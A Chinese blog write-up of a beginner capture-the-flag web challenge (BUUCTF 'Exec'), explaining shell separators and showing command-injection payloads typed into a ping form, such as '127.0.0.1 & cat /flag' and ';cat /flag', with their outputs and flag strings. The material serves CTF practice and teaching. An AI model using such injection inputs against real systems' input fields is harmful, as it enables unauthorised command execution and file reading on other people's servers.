【BUUCTF】[ACTF2020 新生赛]Exec Writeup

原创

你们这样一点都不可耐 于 2020-08-23 12:27:30 发布 1101 收藏 3

分类专栏： Web安全 文章标签： ping 漏洞 安全 dos windows

本文链接：https://blog.csdn.net/vanarrow/article/details/108181645

【BUUCTF】[ACTF2020 新生赛]Exec

0x00 知识点

- 没有过滤，利用常见 管道符 命令执行

```
1、|（就是按位或），直接执行|后面的语句

2、||（就是逻辑或），如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

3、&（就是按位与），&前面和后面命令都要执行，无论前面真假

4、&&（就是逻辑与），如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令

5、; 前后都执行，无论前面真假，同&，（linux也有）
```

0x01 解题

```
127.0.0.1|ls
```

> index.php

- 从根目录开始找flag，耗时长

```
127.0.0.1 | find / -name flag
```

> /flag

```
127.0.0.1 & cat /flag
```

> 标记{38aee01b-d1a6-4fcb-93f1-dbf86ef25fd8}
> PING 127.0.0.1（127.0.0.1）：56个数据字节

```
|cat /flag
```

```
;cat /flag
```

请输入需要ping的地址

平

标记{f40182a0-6749-43f2-b223-9651bf2ef2d0}

> 标记{f40182a0-6749-43f2-b223-9651bf2ef2d0}